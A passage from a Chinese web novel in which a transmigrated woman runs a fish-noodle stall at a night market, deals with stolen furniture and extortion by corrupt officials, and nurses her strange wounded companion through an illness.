这时,灶中烤着的红薯也可以吃了,穆今羽用钳子把红薯夹出,放在荣姮眼前。 思来想去,还是没忍住叮嘱一句,“小心烫。” 表皮焦黑的红薯,内里却是柔软金黄的,再配上口感略有些刺激,但煞是爽口的生菜,也算是能填饱肚子了。 吃完一顿迟来的晚食,肚子不再空荡荡后,荣姮终于觉得舒适许多, 原来那种,总觉得还有事没做完的感觉,是因为肚子里空空的。 她双手托住下巴,靠在石桌上,边回想起那种感觉,边把那种感觉记在心中。 而穆今羽则是端起早准备好的鱼肉肉糜,放在自己的床下。 也不着急让小彩狸立马吃,反正等对方饿了,自然会进食。 随后,她又去杂物房找有没有豆油,没找到,看来明日还要多买一样东西了。 同荣姮一起洗漱完,再次回到房中,穆今羽仔细关上门,倚靠在床上,有些昏昏欲睡。 现在快过子时了,她又忙了一日,早就坚持不住了。 但她总觉得自己遗忘了什么事? 什么事呢? 穆今羽身子慢慢朝下滑着,脑袋沾着枕头的那一刻,就沉沉睡去,只是意识还有些飘忽。 什么事呢? 好像是…… … … 好像是她忘了给荣姮换药了! 夜有所思,注定是睡不好的。 穆今羽骤然惊醒,琥珀色瞳孔一缩,在一片黑暗中,同一双更黑的眸子突兀对视上。 惊的她倒吸一口凉气,整个身子用力朝后,陷在床上,就差大叫一句鬼啊! 是荣姮。 是荣姮! 荣姮来杀自己了! 不不不!不会! 荣姮只是不想待在她自己的屋子里,才来找她的,不是来杀她的。 别担心、别担心、 穆今羽后怕地用手捂在自己心脏上。 能清晰感觉到里面心脏在咚咚咚狂跳,就要从胸腔中跳出。 她又转而用手顺着自己的胸口,努力让自己平静下来。 别怕别怕,不会有事的。 “你这是睡不着?”她声音有些发虚地询问。 荣姮给了回应,点点头,那双眼睛一直看着穆今羽。 有些诡异。 穆今羽闭了闭双眼,手又放在自己太阳穴旁摁了许久,才认命般睁开眼,“你先坐。” 她从床上起来,看看被关上的屋门,不动声色走过去把屋门打开,才对荣姮说道:“我给你换药。” 话音刚落,荣姮脸上空白的神情立马转为不高兴、不情愿。 看见穆今羽真的拿出那熟悉的伤药,荣姮飞速站起身,溜了。 “诶!” 看着荣姮跑到院子中的身影,穆今羽手抬起,挽留的动作做到一半,又把手放下了。 荣姮自己离开是好事,否则她压力也很大。 但按照以往,她现在应该追在荣姮身后,强迫对方被自己上药。 可,她现在有点不敢追出去。 穆今羽手中捏着伤药,屁股又坐到床上,门大开着,但她没有看院中的荣姮。 自顾自低着脑袋纠结着。 她甚至还把整个身子都躺在床上,尝试着再次入睡。 结果双眼刚一闭上,又再次睁开,根本无法心安理得入睡。 她过不了自己心里那关,即便是放任对方的伤势,也有种在当坏人的感觉。 穆今羽叹口气,认命般坐起身,同站在院中望着她的荣姮对视上。 院中的荣姮也以为穆今羽会像昨日一样,追上她,然后给她换药。哪想对方居然没有任何动作,还躺回床上,似是准备再睡。 荣姮有些摸不着头脑,心中纠结着,要不要主动走到穆今羽身旁? 可她脑海中一会儿觉得穆今羽是好人,一会儿又觉得穆今羽是坏人,来回反复,不想轻易妥协。 对视,荣姮脑袋一偏,不看对方。 把脑海中所想的东西全部抛去。就静静呆着,等穆今羽来找她。 15、第 15 章 穆今羽缓慢朝着荣姮的方向挪动而去,好不容易到荣姮身前了,也不像昨日那般,直接抓住荣姮就上手换药。 而是努力让自己声音平稳地说道:“你把手伸出来。” 她想让荣姮配合自己。 □□姮哪里会听她的,不当场逃跑都是好的。 两人僵持住,穆今羽实在没法儿,还是只能像往日那般强行给荣姮换药,心里念叨着让荣姮千万别记恨自己。 好不容易换完药,两人脑门上都出了汗。 穆今羽赶忙同对方拉开距离,朝自己屋子走去,以为终于可以松口气之时,荣姮居然跟在她身后,想同她进一间屋子。 穆今羽:…… 难道一整个晚上她都要胆战心惊、提心吊胆,时刻警惕荣姮吗? 不行的,她不想这样。 穆今羽猛地转身,用身体挡住门,不让荣姮进入,同时道:“你……去自己屋子里睡。” 荣姮脚步来不及停,差点撞穆今羽身上。 她没有听她的,但眼神却扫了一眼没有挡住的地方,身子侧着,想要从那缝隙中挤进去。 穆今羽见状赶紧抬手,横在整个门框上,挡住。 荣姮顺势身子一矮,从穆今羽手臂下钻进。 穆今羽哪能料到荣姮会来这一出,平日里对方不都呆呆的吗? 怎这会儿变聪明了? 她转身看向进入屋子中的荣姮,退而求其次,“那你睡这儿,我睡那间屋子。” 已然坐在床上的荣姮还没开始高兴,就有些不知所措起来。 她脑袋里是懵的,隐约觉得自己不想让穆今羽离开,可又说不清为什么。 明明这个地方也有那香香的梧桐树味儿。 她就坐在床上。看着穆今羽转身离开,还给她关上了门。 穆今羽来到那间属于原主的屋子,一进门就感觉很是熟悉,仿佛她真的在这儿生活了十来年似的。 反正睡哪儿都是睡,没必要同荣姮挤在一间屋子里。 她也不认床,哪儿都可以睡。 穆今羽抖抖被子,安然入睡、睡……睡不好! 她双眼瞪圆,看向骤然出现在自己床边的人,一股无力感油然从心中冒出。 穆今羽只能从床上坐起,无言来到原主父母的屋子,关上门躺床上。 可不一会儿,荣姮又跟了过来。 再换。 再跟! 两人就这样一来一回,换了好几趟屋子。穆今羽才终于妥协,老老实实躺在宽大的床上,任由荣姮睡在床的另一头。 她想不明白为何荣姮会缠上自己。 - 第二日天不亮,穆今羽就顶着一对显眼的黑眼圈,如魂般飘到院子中,把最后两个红薯烤在灶里。 接着准备出门去采买东西。 出门前,她怕荣姮伤害那只小猫,还特意把躲在屋子最角落的小猫捞了出来,托在手心中带出门。 等荣姮醒来时,发现家中一个人也没有,连那只比她后来的小猫也不见了。 只有她被留下来了…… 一股说不清道不明的感觉充斥着她的内心,她迷茫的来到院门旁,望着深木色院门,静静等待着。 街上,穆今羽先是赶到肉市,把鱼老板二十五文的那种鱼包圆了。同时还交代鱼老板先宰杀一半的鱼,剩下的鱼下午再宰杀。 鱼老板乐呵呵答应下,询问了一嘴穆今羽手上托着的小猫。 两人就着小猫聊了会儿天,鱼老板还给小猫喂了一小块鱼的边角料。 吃了东西,扯着破锣嗓子叫了一路的小猫,终于消停下来,安安静静待在穆今羽的手心中。 嗓子里发出咕噜咕噜的声音。 似是觉得很满足。 同鱼老板聊完,穆今羽又继续在街上逛着,买了一个背篓把小猫放入背篓中。 接着她又买了米、生菜、鸡蛋、菜籽油和豆油。 大蓉国用植物炸油的工艺十分发达,可食用的植物油种类繁多,穆今羽只挑了相对便宜的菜籽油。 本还想买点肉,可算一算自己身上少得可怜的铜板,还是决定先亏待自己的嘴。 来到卖碗的铺子中,挑了六个比她手还小一半的粗碗,这样的碗,穆今羽估摸着两斤的敲鱼面能装四十碗。 每碗收六文,她既有的赚,在夜市街里也不算贵。 东西越买越多,背篓里小猫的位置也越来越少。不过小猫倒是不介意,蜷缩在鸡蛋上睡着了。 穆今羽看了看熟睡中还在咕噜咕噜的小猫,用手指挠了挠它的鼻梁和脑袋。 没忍心把猫吵醒给碗腾位置,就只得单臂抱着六个小碗,去鱼老板那里拿了一半的鱼,才朝回走着。 回到家中,穆今羽不出意外地看见荣姮开始远离她。 她脑中闪过一丝疑惑,为何每次荣姮都从屋门旁的地方离开?难道是一直在屋门旁等着自己? 应当不会。 对方应当只是想出去吧。 穆今羽没有多想,将这件事抛诸脑后,把所买的东西全放在灶台上。 灶中的红薯早已烤熟,她同荣姮一起吃完红薯后,便又继续忙碌起来。 一半的鱼肉要先做成敲鱼面片,另一半鱼肉则在夜市街中的时候再做。 这样,她既不用让食客们等太久,也可以让食客们看见敲鱼面独特的制作过程,从而产生想要一试的想法。 制作敲鱼面所要耗费的时间很长,荣姮先是在灶台旁看着穆今羽忙碌,后又觉得有些无聊,跑到柿子树下,仰着脑袋看被风吹动的柿子树叶。 两人早食吃的少,到晌午时已经饿得不行了。 穆今羽煮了饭,用生菜和鸡蛋做了个煎蛋汤。 柴火与土灶烧出来的饭很香,别有一番风味,穆今羽有好几年没吃过这样的饭了。 一时之间吃的有些停不下来,足足吃了两碗! 可她还是没有荣姮吃的多。 荣姮吃了三碗,要不是饭都吃完了,恐怕还能接着吃下去。 穆今羽想不明白,荣姮看着小小一个人,食量居然这么大吗? 吃完午饭,穆今羽又单独煮了一碗敲鱼面,荣姮在一旁看着,咽了好几次口水,以为这碗面是煮给她的。 她筷子都捏在手中了,却看见穆今羽端着敲鱼面,同她擦肩而过。 出了门。 16、第 16 章 荣姮站在原地许久,听到穆今羽关门的声音,才猛地转身,看向那道被紧闭上的深色木门。 她脸上的神情不再是空白,而是露出难以置信的表情。 她觉得自己好生气,连头发丝都快竖起来了。 穆今羽果然就是个坏人! 把自己关在院子里不说,还不让自己吃饱! 连那只后来的猫都能被喂得饱饱的,还时刻被穆今羽带在身边。 凭什么? 荣姮被气的在院子中来回打转,脚不客气踢了好几下地上的泥土,来到灶台旁,决定自己动手丰衣足食。 坐到穆今羽常坐的凳子上,她拿起火折子翻来覆去看着,却不知怎么用。 不知怎么用,那便不用了。 她把火折子往后一扔,又拿起两个穆今羽才买回来的红薯,对比一番后,把大的那个放进还有余温的灶堂里。 然后便满心期待地等着。 - 出门的穆今羽根本不知晓荣姮在家里干什么。 她一手端着敲鱼面,一手托着小猫,来到鱼老板的鱼摊上。 她们做生意的,吃饭都不那么准时。 且大蓉国只有一日两食的惯例,晌午即便饿了,也只会吃点小零小碎的食物垫垫肚子。 穆今羽来的时候,鱼老板正在给另外的客人处理鱼肉。 她的乾元妻子则在替客人捞鱼。 见状穆今羽也没多讨扰她们,把敲鱼面放下,说清楚是因着之前答应要让鱼老板尝尝,所以才特地给她们端来的。 忙碌的鱼老板冲穆今羽笑了一下,“多谢今羽想着我了。等我得了空,一定好好品尝!” 之前,穆今羽说过要让她尝一尝自己做的吃食,可那日对方并没有把东西带过来。 鱼老板想着对方许是忘了,也不好多问。可期待的心落空,始终是有点不舒服的。 今日见穆今羽居然没有忘记,鱼老板心中自是高兴几分,还没开始吃那碗敲鱼面呢,就觉得那东西喷香。 鱼老板好不容易忙过这一阵,终于可以坐下来喘口气,便立马端起放在旁侧,都快放凉的敲鱼面。 吸溜一口。 即便是凉掉的敲鱼面,口感也没有丝毫逊色。早就被锁在面中的鲜香味儿,此时在味蕾上绽放。 一扫鱼老板疲惫的精神与身体,给她带来一阵舒爽。 “嚯~~~~~” 鱼老板发出一声九曲十八弯的惊叹,埋头,筷子没有停顿地唏喱呼噜吃着敲鱼面。 边吃边在心中忍不住夸,好吃!实在是太好吃了!没想到穆今羽居然还有这手艺! 鱼的十八辈祖宗全死在她们穆家也不算亏,还得摆尾说做得好呢! 好一会儿,鱼老板才猛地想起自己妻子,还没有尝过这敲鱼面呢。 她强迫自己抬头,一边砸吧着嘴,一边把手中的面碗递出去。 碗里只剩了一点汤,和漂在汤上的几根面片。 鱼老板的乾元妻子故作嫌弃地摇摇头,换来一记眼刀后,终于舒服了,端过面碗。 她没想到敲鱼面能有那么好吃? 只尝了一口后,便风卷残云地把剩下的面与汤都吃了个精光。 又惹得鱼老板推了她几下。 两人拉扯一番,最终抱作一团,笑着她们二人居然为了一碗面你争我抢。 - 穆今羽再次回到家中,看到荣姮坐在灶台后也没有多想。 而是走到屋里,准备睡个午觉。 小猫被她放在床内侧,枕头旁。一睁眼就能看见。 昨夜警惕了一夜的小猫,此时困得不行。上一秒还端坐着,看着穆今羽。下一秒,眼睛一闭就栽倒在床上,沉沉睡了过去。 完全没有担忧自己的小命。 看着圆滚滚肚子一起一伏的小猫,穆今羽也抵挡不住睡意,闭上了眼。 院中,荣姮依旧坐在灶台旁。 她等了许久,觉得时间差不多后,才把红薯给拿了出来。 红薯的表皮没有想象中那么滚烫,温温的硬硬的。 用手把红薯皮剥开,红薯表面倒是烤熟了,可内里却是生的。 完全没有金黄流蜜。 荣姮虽觉疑惑,却还是上嘴,咬了一口。 咔嚓! 脆响声传出,荣姮嚼了几口,发现口感不似往日那般柔软、绵密,但也依旧好吃。 脆脆甜甜,像是在吃什么果子一般。 她没觉得自己手中的红薯有什么不对,咔嚓咔嚓就吃完了一整个比她手还大的红薯。 犹觉不过瘾,又吃了一个大的生红薯后。 才满意地摸摸自己的肚子,打了个饱嗝。 吃饱,困顿感袭来。 她悄无声息进入穆今羽所在的屋子。 看见穆今羽枕头旁蜷缩的小猫时,还瞪了那小猫一眼。 她躺在床尾最外侧,蜷缩起身体,迷迷糊糊睡了过去。 穆今羽醒时,看见荣姮又睡在她的床上,也没有吵醒对方,只是在心中思考着,要不要买一把锁,把门锁上? 不过很快这个想法就被她自己否定。 她不想同荣姮闹得太僵。 荣姮想和她睡在一张床上,那便睡吧。 躺在床最里面的的小彩狸,察觉到穆今羽已经下床,直接醒了过来。 正想要扯着嗓子嚎叫之时,穆今羽一个箭步冲到床边,伸手捏住它的嘴,不让它叫。 这一叫,怕是要把荣姮吵醒。 穆今羽小心翼翼,托着小彩狸,来到院子中。 此时已经是下午,她把小彩狸放在灶台上,轻手轻脚把买来的生菜全部掰开洗干净后,开始洗着昨日留下来的锅碗瓢盆。 这些东西都是要给客人们用的,穆今羽自然没省着皂角,在大盆子里打了许多泡沫出来,认认真真仔仔细细,把每一个碗都洗干净。 洗干净后还用开水烫了几遍,才放在一旁沥干。 随后她出了趟门,从鱼老板那里把剩下一半的鱼肉拎了回来。 现如今天气在逐渐转冷,即便提早把鱼宰杀好,也不会腐烂变质。 直到这时,穆今羽才忙完所有的事,站在院中,揉捏着自己手臂和腿部的肌肉。 这几日太过忙碌,搞得她这些地方的肌肉又酸又胀,很不舒服。 来回揉捏一刻钟,穆今羽又开始做着各种拉伸以缓解自己腰背的酸痛。 干活最重要的就是保护身体,身体好才能赚更多的钱。 小彩狸则跟在她脚边,随着她的动作跳来跳去扑她脚。 可惜,小彩狸后腿有伤,根本就跳不起来,只能举着两只爪爪在空中胡乱挥动。 依旧玩的不亦乐乎。 申时过了大半,也就是下午四点左右,穆今羽煮了饭又炒了盘鸡蛋,打算开始吃晚食。 奇怪的是,荣姮睡了一下午,此时还没有动静。 想着荣姮反正也没有什么事要做,穆今羽便没有叫醒她,任由她睡个爽。 把荣姮的饭和菜热在锅中,穆今羽吃完晚食,把小彩狸用布条绑上,放在肩上,带着工具和食材出发去夜市街。 今日她去得早,不用像昨日那般慌张。 踏着橙红灿烂的夕阳,感受着带花香的微风拂面,听着耳边喵喵叫声。 穆今羽脸上不自觉露出笑容,期待今晚自己的生意会如何? 应该会很不错吧? 她笑呵呵走到自己摊位前,看见摊位的瞬间,脸上的笑容僵住。 有些难以置信。 怎么回事?她摊位后放着的小桌小凳呢?! 17、第 17 章 穆今羽脸上笑容挂不住了,一个箭步冲到自己摊位前,不可思议地绕着自己摊位转了一圈,甚至还看了两旁的摊位,都没有发现自己的小桌小凳。 糟了! 她心里涌起不妙的感觉。 莫不是被偷了?! 可整条夜市街的小推车随便放都没人动,为何桌凳会有人偷? 穆今羽站在自家摊位旁,看着陆陆续续有人走过的街,大脑空白,一时间有些不知该如何办。 这才是她摆摊的第二日,居然就遭遇了如此严重的危机,说不受打击是假。 穆今羽都快哭出来了。 隔壁小吃摊的摊主,拎着东西从她身前走过。 他见穆今羽呆愣地站在原地,还望了好几眼。 走到自己摊位上把东西放下后。一边整理着,一边犹豫着看向穆今羽。 开口问道:“穆、穆老板,你没事吧?我看你脸色不太好。” 穆今羽脸色太差,肉眼可见的煞白。 糕点摊老板叫了好几声,穆今羽才堪堪回过神来,望向他,“什么?” 糕点摊老板也没在意她的恍惚,再次询问道:“我看你脸色不太好,可是出什么事了?” “我……” 刚一开口,穆今羽就敏锐察觉到自己声线有些抖。她强忍着难过,深吸一口气,苦笑着说道:“我的桌子凳子被人偷了。 “什么?”糕点摊老板惊呼,比穆今羽还惊讶,“被偷了?唉!你也是……你怎么没把东西带回家?” “我想着大家的推车都在这儿,那把东西放在这儿也不会有什么,哪能想到居然有人偷东西?” 穆今羽现在也后悔得不行。 明明多搬几趟就可以把东西全都搬回去,结果她脑袋一抽,居然把东西放在了夜市街! 糕点摊老板同穆今羽一起唉声叹气,“推车是公家的,专门有人看管着,放在这里当然不会丢。” “你的东西是你自己的,放在这里公家的人可不会给你看着,丢了也就丢了。” “唉,你也真是的……你现在还是别找了,先把东西摆好,一会儿准备开摊。” 不知为何,穆今羽听着眼前这摊主的语气,有点不太舒服。但她觉得有可能是因为自己丢了东西,心情不好,所以产生的错觉。 便没有多想。 现在的当务之急是解决没有桌凳的问题。 她是卖面的,真的没办法让客人端着面站在旁边吃。 她冲着糕点摊摊主道:“我还有点事,麻烦张摊主帮我看一下摊,我很快就会回来。” 糕点摊的摊主姓张,是个约莫五十来岁的乾元男人。 来夜市街摆摊的乾元不少,但卖糕点的只有他一个。 只不过生意不太好。 也不知道是人的问题,还是糕点的问题。 一下被拜托,张摊主脸上的表情似乎凝固了瞬间,但很快就重重点头,答应了下来。 见对方答应,穆今羽又是道了声谢,才开始把自己带来的东西尽量塞在小推车里。 实在放不下的一些不太重要的东西,则摆在小推车的台面上。 小彩狸被她用背篓倒扣在小推车下,怕它害怕,穆今羽还用手指挠着小彩狸的下巴,仔仔细细交代着。 做完这些,才马不停蹄朝木材店的方向赶去。 她大步奔跑,离木材店还有几步之遥的时候,就开始大声喊道:“老板!老板!再给我做三张桌子!” 穆今羽声音大,街两旁好几家店中的老板,闻声抬头朝她看去。 由于穆今羽昨日才照顾过她的生意,所以木材店老板一抬头便认出了她。 见穆今羽是跑着来的,知晓她肯定特别着急,木材店老板口中询问道:“还是像昨日那样?” 但她还没等穆今羽回答,便已经拿起同昨日一样的木材,准备切割了。 “对对!”穆今羽喘着气,跑进木材店中,补充道:“我还要几条凳子,木材也用昨日那种。” 老板已经动作飞快的把木头切成好几段,准备做成桌子。 听到穆今羽的话,她下巴朝店中一个方向抬了抬,示意穆今羽去那边。 “那儿有几条现成的凳子,你看合适吗?合适就只收你木材的银子就行。” 这是穆今羽第二次来照顾她生意,她适当给她点划算,也不是不可以。 穆今羽急匆匆走到店中,拎起一条小矮凳看了几眼。 这矮凳和她原本用的凳子相差无几,很是合适。 “好,这几条凳子我都要了。老板你算一下,我先把银子结给你。” “桌子麻烦你帮我做快一点,今夜的就要!” 知道穆今羽着急,没想到居然有这么着急。 听到穆今羽今夜就要桌子,木材店老板眼睛瞪了一下,随后便摩拳擦掌,一副准备大干一番的架势。 “好!今夜保准给你做出来!” 老板给穆今羽说了多少银子后,憋着一口气,双臂大开大合锯着木头。 穆今羽付了钱,又多给了两文,拜托木材店老板帮她把桌子送到夜市街第七十个摊位上。 说罢,又马不停蹄往夜市街方向跑。 也就是她今日来的早,发现自己桌凳被偷也发现的早。 现在是下午五点,生意真正忙的时候是八点左右。 中间有三个小时,木材店老板不说把桌子全部做完,但一两张肯定是有的。 这样一来,桌凳被偷的影响也不算太大。 穆今羽边跑着,边觉得心中难受又庆幸。 她还是经验太少,明明这些事都应该能想到的,却还是被她忽略了。 自己当老板果然不一样,损失起东西来可真是肉疼。 如今她身上的银子就只剩一文了,要是今夜赚不到钱,就只能喝西北风去了。 回到摊位旁,穆今羽朝张摊主道了谢,又拎着自己的水桶,赶去接水。 接完水,把锅碗瓢盆摆在台面上,一切准备就绪,已是酉时过半。 夜市街中陆续来了零星几位散客。 穆今羽深吸一口气,把心中的郁闷、不快全部吐出,以最好的状态来面对往来的行人。 她刚把鱼头鱼骨汤给煮熟,昨夜说过要来尝试的姑娘和男子,一前一后赶到。 姑娘闻到鱼汤鲜美的味道,就忍不住露出笑容,心情雀跃。 穆今羽也扬起笑,对她们说道:“今日有小碗和大碗两种面,味道都一样,只是分量不同。” 姑娘大声道:“给我来大碗的。” 而那男子则是谨慎问道:“小碗和大碗价钱可是不一样?” 穆今羽:“小碗自是要便宜一些,只要六文。” 男子脸上露出满意的笑容,“那就给我来小碗的。” 他才不会花大价钱,吃一碗明知不好吃的面。 点完面,她们二人才把眼神放在小摊后,本是想选位置坐,结果这一看,却没有看见桌子。 姑娘人要活泼些,直接道:“老板,你快把桌子搬出来呀。” 话问到关键处,穆今羽只能尴尬地笑笑,“桌子不见了,只能委屈你们坐着吃了。” 此话一出,另外那男人直接不客气到道:“连桌子都没有,还做什么生意?我不……” “呵,你又想说不吃了?”姑娘直接打断他的话,“真是装怪,哪有你这样的人?林子大了什么样的鸟都有。” 被说中,男人“你、你、你”了几声,到底还是没有继续说下去。 他们二人走到小摊后,一左一右,隔得老远坐下。 相看两厌。 现下不忙,穆今羽快速煮好面,递到他们手中。 心情不由自主紧张起来。 这两人,一个是无比期待自己的面,一个是无比嫌弃自己的面。 她真的不确定自己的面合不合他们的胃口,要是不合,她岂不是要失去两个客人?她岂不是要直面这两人的情绪? 穆今羽手紧张地捏在一起,看着二人吃下第一口。 那两人的动作同时顿住,脸上表情变幻莫测,看得穆今羽心中都快绝望了。 难道是他们二人都不喜欢? 穆今羽才收拾好的心情,此时又打翻了, 今日太坏,不仅东西被偷了,面也做得不好吃了。 她抖着手,就快忍不住要给两位客人道歉之时。 那姑娘率先开口尖叫出来,“天呐老板!!!你这面太好吃了!” 她声音震天响,惊的街上来回行走的人不自觉停下,目瞪口呆地看着她。 姑娘自己毫无所觉,还在噼里啪啦地夸着穆今羽是如何如何厉害,这面是如何如何好吃。 而一旁的男人,什么话都没说,沉默地吃完面,留下钱,溜之大吉了。 他怕自己多留一息,就会被抓住嘲笑。 因为这面确实是……好吃! 才吃完面的男人,又擦擦自己的嘴巴,差点流口水了。 看到这姑娘那么喜欢自己做的面,刚还想道歉的穆今羽,脸上猛然露出得救了的笑容。 低落心情一扫而空。 有着这姑娘的捧场,接下来一段时辰里,穆今羽接连卖出去好几碗面,生意就没停下来过。 戌时四刻,木材店的老板一人扛着四张桌子,找到穆今羽的小摊前。 看到她生意忙,也就打了个招呼,帮她把桌子放在小摊后。 有了桌子,穆今羽的生意更上一层楼,热火朝天,忙都忙不过来。 碗洗了又用,用了又洗。 这次她准备充分,直接卖到凌晨,管夜市街的官差来赶人之时。 官差看到这个摊位有人在用,上前呵斥道:“你是什么人?这个摊子的老板以前不是你。” 穆今羽正忙着把最后一碗面从锅中捞出,顺势回答道:“这摊子以前的老板是我的母亲,现在由我来做了。” 官差上下扫视她,“这个摊位既然有人用,那洒扫费不能少,一月一百文。” 穆今羽:“???” 先不说她以前从未听说有洒扫费这东西,单说一月一百文就不算少,生意差点的摊子根本就付不起。 而且,她根本不知道要把垃圾扔哪儿。 穆今羽友好询问道:“可是每日有专门的人来清理脏污?” 见她竟然还敢有问题,官差刷一声抽出自己腰间别着的木棍,砰一声打在穆今羽的小推车上! 18、第 18 章 沉重的一下,震的小推车上所有东西全都在颤抖。 连挂在推车上的招牌,都被震得掉在地上打了好几个旋。 穆今羽朝后退一步,没想到对方会突然出手。 她懂了,事实上对方要收的根本不是什么洒扫费,对方恐怕就是想圈钱罢了。 所以才不准自己问那么多,不准自己生出反抗的心思。 穆今羽琥珀色通透的眸子看向站在自己推车前的人,又看向对方身后另外几名官差。 知晓自己是无法与他们抗衡的。 如果真有这笔费用,对方只是贪心想多收点,那她还有机会到衙门去状告。 可对方现在是明目张胆的收保护费,她即便是去了衙门,也有可能因为对方势力太大,而不了了之。 或许还会同对方结下梁子。 反而得不偿失。 穆今羽不想惹到这些手中有小权力的人,她脸上扯出笑容,小心翼翼说道:“给,这就给。” 她从小推车装银子的抽屉里,拿出一串铜板,递给那官差。 今日收益还算不错,总共六斤面全都卖完了,收到五百七十文。 要扣除各种成本的话,还能剩二百二十文。 也就是成本的钱她已经提前给了,所以现在手上是整整的五百七十文。 只是给完这一百文后,明日她能买的鱼肉就更少了,明日能挣的钱也就更少。 说不心疼那是假的。 穆今羽也是没想到,别人穿书都是各种走上人生巅峰,自己穿书则如此不顺,还过得那么惨。 这都什么事啊。 她心中有愤怒有不甘,有难过有委屈,可她不能表现出来。 她得扬着笑脸。 “这就对了嘛,胳膊拧不过大腿,还是老实点好。” 官差又拿着木棍,往小推车的台面上敲了两下,才接过穆今羽递来的铜串子,大摇大摆带着人走向下一个摊子钱。 下一个摊子就是糕点摊。 那张摊主还未等官差走近,就一脸谄媚地从摊子后走出,迎上前,递出自己手中捧着的银子。 看来这些官差敛财已有许久,摊主们都习惯了。 等官差们挨个挨个收银子走远后。 穆今羽才走到张摊主身旁,小声打听道:“这些官差每个月都来?以前也是收一百文?” 张摊主:“哪能呀,他们什么时候缺钱了,什么时候就来了,有时也不止收一百文。” “夜市街人多。在他们眼里,我们这些摊主都是块肥肉。” “那我要是早些收摊回去,可能躲过他们收银子?” 昨日她收摊就很早,并没有遇见这些官差。 张摊主摇摇头,“被知道了,你的摊子都能被砸了!” “你们就没谁敢反抗?” 张摊主被这话吓了一跳,赶紧同穆今羽拉开距离,“说不得说不得,这都是规矩,换谁来都一样,还想在这里干,就必须得这样!” 说罢,他也不敢再同穆今羽交谈,赶忙回到自己摊子后,低头忙来忙去收拾东西 不一会儿,就带着大包小包的东西走远。 夜市街好多摊主也像他一样,收拾着东西回去了。 整个繁华热闹的夜市街瞬间冷清下来,只余萧瑟寂寥的冷风幽幽吹着。 见街上没有多少人了,穆今羽才把倒扣在背漏下的小猫给放出来。 任由对方跟在自己脚旁,跟着自己收拾碗筷桌凳。 她先花了两趟功夫,把小桌小凳全搬回家,第三趟把锅碗瓢盆等东西给收回家,才算忙完。 小彩狸颜色鲜亮,在黑夜中倒是挺显眼。只是它还小,跟着穆今羽跳了那么久后已经累了,被穆今羽扛在肩上带回家。 回到家中,穆今羽觉得有些奇怪,以往荣姮总是第一时间从院门旁离开,可今日她却没看见荣姮的身影? 整个院子里黑漆漆的,她明明交代了荣姮可以点灯。 “奇了怪了。”穆今羽点上灯,边念叨着,边揭开锅盖,看见热在锅中完好无损的饭菜。 按理说荣姮食量大,可不会出现剩菜剩饭这东西。 难道人已经跑了? 穆今羽心中一颤,说不清自己是害怕还是松口气,但还是一个箭步冲入自己屋子中查看。 结果这一看,就看见荣姮双眼紧闭,眉头微蹙地蜷缩在她的床上。 仔细看去,那唇也是苍白的。 这是怎么了? “荣姮?荣姮?”穆今羽来到她身旁,手放在她额头上。 被烫的一激灵。 怎么突然那么烫? 穆今羽瞪大眼睛,迅速去翻看荣姮身上的伤。 这几日她都忙,每日只能给对方换一次药,难道是伤口感染引起的发热? 可穆今羽翻看后,发现对方的伤口虽严重,但并没有感染的迹象,应当不是伤口原因引起的。 那是为何? 19、第 19 章 穆今羽想也没想,再次跑出门,去找大夫。 她猛地拍着医馆的门,把早就熟睡的大夫给吵起来。 带到自己家中。 大夫把着脉,查看着荣姮的状态,仔细询问穆今羽荣姮可曾吃过什么?本还询问了穆今羽荣姮有哪里感到不适? □□姮就没醒过,穆今羽自是不知道的。 大夫思来想去,开了几味退热的药,并交代穆今羽,如果第二日病人没有好转,再带她到医馆来。 得了药,送走大夫,穆今羽立马把锅中的东西腾了出来,洗干净锅,替荣姮熬药。 在焦急等待药熬好的过程中,穆今羽仔细回想着刚才大夫替荣姮诊治时,可有发现荣姮身上有大量刀伤。 荣姮身上的刀伤太多,是个正常人都会觉得不对。 穆今羽私心里还是不想让任何人知道,荣姮身份有问题。 回想后,穆今羽觉得隔着衣服,对方应当是发现不了那么多的。 漆黑的院子中只亮着一盏昏黄油灯,小彩狸好似能感觉到她担忧的情绪,老老实实趴在她脚边陪着她。 好不容易熬好药,穆今羽端着碗进到房中,把药吹到温热,才伸手扶起荣姮。 她这两日手臂都很酸软,扶起昏迷中的荣姮时,都是咬着牙用上了全身的劲儿。 好不容易让人半躺在床上,穆今羽又叫了几声,“荣姮,醒醒荣姮。” 昏迷中的人没有什么反应,只是眉蹙得更深,厌烦喊自己的人。 荣姮感觉自己整个人沉在水中,口中咕噜咕噜冒着气泡。双耳被水隔绝,隐隐有声音传来,随着水波地晃动忽远忽近,听不清。 腹部围绕着脐的周围,有一阵一阵的绞痛传来。 肚子很撑、很胀,像是有一股气散不出去,只能撑得肚子越来越大,快要爆炸。 嘴被什么东西撬开,温热的水流灌入。 荣姮感觉自己肚子里的东西都顶到喉咙口了,水却还毫不客气往里灌。 窒息感袭来。 她眼皮剧烈抖动,用尽全身力气摇晃着脑袋,想拒绝。 世界突然变幻,清澈的水变得鲜红,断掉一截儿的手臂顺着水流飘到她的身旁,扯住她的四肢,掐住她的脖颈。 血腥气如鲠在喉。 哀嚎声响彻不断。 豆大的冷汗从荣姮额间滑落,滴到穆今羽手背上。穆今羽扫了一眼,清晰可见荣姮的难受。 药喂一勺撒半勺,穆今羽整个人像一根被不断拉长的皮筋,紧绷异常。 她不清楚荣姮到底是怎么了,可看这状态明显不好。 会有生命危险吗? 虽说她害怕荣姮,但她不想荣姮死。 穆今羽把碗放在一旁,又把荣姮扶得更起来一些,半抱在怀中,以自己的身体作为依靠。 一只手臂圈住荣姮后,掐着她的两颊,使之张口,另一只手则用勺子舀起药,朝里喂着。 荣姮感觉自己用了极大的力在摇头,可在穆今羽看来,她完全就没有动作,且气息微弱。 穆今羽手有些发抖,她不曾对人凶过,如此强迫荣姮喝药,她也很煎熬。 大半碗药喂进去,还没过一息,荣姮的身体突然剧烈抖了一下,整个人脱离穆今羽掌控,不自然朝前倾倒。 “呕——” 喂进去的药,连带着荣姮肚子里的食物,全都被吐了出来。 大量的污秽物撒在床上、地上。 穆今羽:…… 吐了后,荣姮整个人居然肉眼可见的好了起来,气息平稳,紧蹙的眉头舒展。 穆今羽:…… 她不再挣扎,整个人柔软又安静的靠在穆今羽的怀中,眼皮泛红,眼尾隐隐有水光。 还怪好看的。 穆今羽:…… 她放荣姮半靠在床上,把被子抱到院中后,端了碗水回到屋子里,给人喂了几口清水,漱口。 又拿着帕子仔细替荣姮擦了脸。 那脸上没什么肉,皮过于贴骨,显得有些消瘦,也没有什么血色。 按理说,以前的荣姮是极为尊贵的,应当不至于那么瘦。 